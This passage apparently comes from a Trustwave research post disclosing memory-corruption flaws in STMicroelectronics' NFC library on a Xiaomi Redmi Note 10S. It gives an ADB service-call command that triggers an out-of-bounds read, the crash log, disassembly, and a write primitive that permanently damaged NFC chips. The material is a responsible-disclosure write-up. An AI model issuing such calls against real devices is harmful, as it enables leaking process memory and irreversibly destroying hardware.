Before communicating with the STMicroelectronics, I was sure that I was reversing the proprietary code. Therefore, the initial analysis was based only on reverse-engineering and pseudocode.
The below command has been executed as an ADB shell user. The values 4702394925722257289 and 4774451407313060418 represent the hex values: 0x4142434545464789 and 0x4242424242424242.
rosemary:/ $ service call nfc.st_ext 9 i64 4702394925722257289 i64 4774451407313060418
Result: Parcel(Error: 0xffffffffffffffe0 "Broken pipe")
Results from the ADB Logcat output after the command execution. The registers x19 and x20 are controlled by the attacker. The x8 register value proves the crash location shown in the next listing. The crash has occurred on a memory address 0x7c329d9f64 (x8 + 0x8a7):
10-05 19:53:01.216 21411 21411 E DEBUG : | failed to read /proc/uptime: Permission denied |
10-05 19:53:01.473 21411 21411 F DEBUG : | *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** |
10-05 19:53:01.473 21411 21411 F DEBUG : | Build fingerprint: 'Redmi/rosemary_eea/rosemary:12/SP1A.210812.016/V13.0.3.0.SKLEUOR:user/release-keys' |
10-05 19:53:01.473 21411 21411 F DEBUG : | Revision: '0' |
10-05 19:53:01.473 21411 21411 F DEBUG : | ABI: 'arm64' |
10-05 19:53:01.473 21411 21411 F DEBUG : | Timestamp: 2022-10-05 19:53:01.214973507+0200 |
10-05 19:53:01.473 21411 21411 F DEBUG : | Process uptime: 0s |
10-05 19:53:01.473 21411 21411 F DEBUG : | Cmdline: com.android.nfc |
10-05 19:53:01.473 21411 21411 F DEBUG : | pid: 21109, tid: 21124, name: Binder:21109_2 >>> com.android.nfc <<< |
10-05 19:53:01.473 21411 21411 F DEBUG : | uid: 1027 |
10-05 19:53:01.473 21411 21411 F DEBUG : | signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0x7c329d9f64 |
10-05 19:53:01.473 21411 21411 F DEBUG : | x0 0000007bf15b5690 x1 0000000000000000 x2 0000000000000000 x3 0000000000000000 |
10-05 19:53:01.473 21411 21411 F DEBUG : | x4 0000000000000000 x5 00000000ffffffff x6 00000000ffffffff x7 0000000000018900 |
10-05 19:53:01.473 21411 21411 F DEBUG : | x8 0000007c329d96bd x9 8d9fd1788a2fdf29 x10 0000000000000000 x11 0000000000000000 |
10-05 19:53:01.474 21411 21411 F DEBUG : | x12 000000000003ea1c x13 000000000003ea1a x14 0000000000000028 x15 0000000000000027 |
10-05 19:53:01.474 21411 21411 F DEBUG : | x16 0000007c90f4ec40 x17 0000007c90f3e930 x18 0000007b83940000x19 0000000042424242 |
10-05 19:53:01.474 21411 21411 F DEBUG : | x20 0000000041424345 x21 0000007bf15b5378 x22 0000007bf15b5690 x23 0000000000000000 |
10-05 19:53:01.474 21411 21411 F DEBUG : | x24 0000007bf15b6f70 x25 0000007bf19f4000 x26 0000007bf19f3078 x27 0000007bf19f3058 |
10-05 19:53:01.474 21411 21411 F DEBUG : | x28 0000007bf19f30a0 x29 0000007bf19f2d90 |
10-05 19:53:01.474 21411 21411 F DEBUG : | lr 0000007bf156f8a0 sp 0000007bf19f2c40 pc 0000007bf156f8ac pst 0000000060001000 |
10-05 19:53:01.474 21411 21411 F DEBUG : | backtrace: |
10-05 19:53:01.474 21411 21411 F DEBUG : | #00 pc 000000000002f8ac /system/system_ext/lib64/libstnfc_nci_jni.so (NfcStExtensions::getProprietaryConfigSettings(int, int, int)+444) (BuildId: a48e883d65c1a11933117a7a98a39720) |
10-05 19:53:01.474 21411 21411 F DEBUG : | #01 pc 0000000000023ec8 /system/system_ext/lib64/libstnfc_nci_jni.so (android::nativeNfcStExtensions_getProprietaryConfigSettings(_JNIEnv*, _jobject*, int, int, int)+216) (BuildId: a48e883d65c1a11933117a7a98a39720) |
10-05 19:53:01.474 21411 21411 F DEBUG : | #02 pc 00000000000172c4 /data/dalvik-cache/arm64/system@system_ext@app@Nfc_st@Nfc_st.apk@classes.dex (art_jni_trampoline+116) |
In a part of the NfcStExtensions::getProprietaryConfigSettings function disassembly below, we see that the value of the x8 register equals 0x7bf15b5378 + 0x41424345 (0x7c329d96bd) which proves the ability to manipulate a destination address by a malicious application:
0012f894 a0 a2 0b 91 | add | x0,x21,#0x2e8 |
0012f898 e1 03 16 aa | mov | x1,x22 |
0012f89c 3d 01 01 94 | bl | _ZN7CondVar4waitER5Mutex |
0012f8a0 a8 c2 34 8b | add | x8,x21,w20, SXTW ; < ======= (#1) |
0012f8a4 bf fa 26 39 | strb | wzr,[x21, #0x9be] |
0012f8a8 e0 03 16 aa | mov | x0,x22 |
0012f8ac 14 9d 62 39 | ldrb | w20,[x8, #0x8a7] ; < ======= (#2) |
0012f8b0 48 01 01 94 | bl | _ZN5Mutex6unlockEv |
0012f8b4 28 17 40 f9 | ldr | x8,[x25, #0x28] |
0012f8b8 a9 83 5f f8 | ldur | x9,[x29, #local_58] |
Later, I found that C++ code, in the deepest depths of GitHub. The screenshot below shows a fragment of the open-source package called “android-packages-apps-Nfc”.
The two int values are taken as arguments at line 2229. At line 2257 the value byteNb is used as an index for the stack array mPropConfig.config. The second value bitNb is used to define which bit of the chosen array element an attacker wants to read. This is the perfect stack reading primitive.
Figure 6: NfcStExtensions::getProprietaryConfigSettings vulnerability
https://github.com/STMicroelectronics/ST54-android-packages-apps-Nfc/blob/android-13/st/jni/NfcStExtensions.cpp
In our real-life experience with the Xiaomi Redmi Note 10S, the second (write) primitive that could give us a code execution is unfortunately located inside a function that can physically and irreversibly damage the NFC chip. I experienced a hardware fault when executing the function NfcStExtensions::setProprietaryConfigSettings. The first time was during testing and the second time occurred when writing a PoC exploit. After two devices were damaged, I decided to write a read only APK PoC.
After executing the NfcStExtensions::setProprietaryConfigSettings call, the NFC interface GUI became unavailable, and I couldn’t turn it off and use the NFC. The software-to-hardware killer call was later confirmed by STMicroelectronics, which is a pretty devastating scenario.
The function NfcStExtensions::setProprietaryConfigSettings is also prone to an array out of bound attack, rather than reading, it allows writing a bit into the chosen index of an array.
Figure 7: NfcStExtensions::setProprietaryConfigSettings vulnerability
https://github.com/STMicroelectronics/ST54-android-packages-apps-Nfc/blob/android-13/st/jni/NfcStExtensions.cpp
I reported seven memory-corruption issues in total in the “ST54-android-packages-apps-Nfc” library, all of them are briefly documented in the advisory TWSL2023-007.
Conclusions
From my testing, it would appear the system service layer was not properly tested and secured in the Android OS versions modified by vendors, and while I have detailed several issues here, there is still more research that needs to be conducted.
Some two or three-year-old devices will never get new updates due to the complexity of the software and hardware installed on the smartphones and the policies of manufacturers.
Smartphones are generally constructed using components supplied by a variety of vendors and connected using a custom OEM Framework API. This methodology creates problems when it comes to implementing and maintaining updates, backward compatibility, and security.
The price of each tested device has no significant meaning here, although, the approach for handling the submitted vulnerabilities by each vendor was quite different. Especially noticeable are problems some manufacturers have with integrating their Android OS with the third-party hardware vendors.
On the other hand, the third-party vendors shouldn’t provide unvetted demo/PoC software that may have vulnerabilities to their clients. Another concerning point is that one vendor did not properly implement a sandbox for the sensitive OS component.
Finally, if I asked myself - how safe are my Secure Elements or Virtual Wallets on my smartphone? I’d say it generally depends on the device, but after testing my own, I’d say they’re not safe at all.
Reference:
TWSL2023-007: Vulnerabilities in Xiaomi Redmi Note 10S and ST54-android-packages-apps-NFC library
ABOUT TRUSTWAVE
Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.